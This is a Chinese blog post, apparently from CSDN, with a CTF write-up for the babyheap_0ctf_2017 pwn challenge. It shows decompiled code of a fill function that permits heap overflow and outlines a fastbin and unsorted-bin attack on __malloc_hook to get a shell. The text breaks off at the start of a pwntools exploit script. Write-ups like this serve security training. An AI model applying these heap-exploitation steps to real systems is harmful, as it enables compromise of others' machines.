【PWN系列】 Buucf babyheap_0ctf_2017 Writeup

原创

Vicl1fe 于 2020-11-27 16:34:32 发布 383 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/qq_41918771/article/details/110229798

个人博客地址

```
http://www.darkerbox.com
```

欢迎大家学习交流

参考网址：

```
https://www.cnblogs.com/luoleqi/p/12349714.html
```

分析

参考网址说的已经不错了，主要问题出现在fill功能，只要chunk存在，即可写任意长度的字符。

```
4  int v2; // [rsp+18h] [rbp-8h]
5  int calloc_size; // [rsp+1Ch] [rbp-4h]
6
7  printf("Index: ");
8  calloc_index = get_input_();
9  v2 = calloc_index;
10 if ( (signed int)calloc_index >= 0 && (signed int)calloc_index <= 15 )
11 {
12   calloc_index = *(unsigned int *)(24LL * (signed int)calloc_index + a1);
13   if ( (_DWORD)calloc_index == 1 )
14   {
15     printf("Size: ");
16     calloc_index = get_input_();
17     calloc_size = calloc_index;
18     if ( (signed int)calloc_index > 0 )
19     {
20       printf("Content: ");
21       calloc_index = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), calloc_size);
22     }
23   }
24 }
25 return calloc_index;
26}
```


主要还是利用fasbin attack和unsorted的特性(下面会说到)来修改__malloc_hook拿到shell。

这里我来实际走一遍exp的流程，下面的exp我用的是本地的libc。

这里我先把exp放出来，之后会分析exp的每一步操作具体干了什么

Exploit

```
#coding:utf-8
from pwn import *

p = process("./babyheap_0ctf_2017_glibc2.23")
context.log_level="debug"

def allocate(size):
 p.recvuntil('Command: ')
 p.sendline(&
```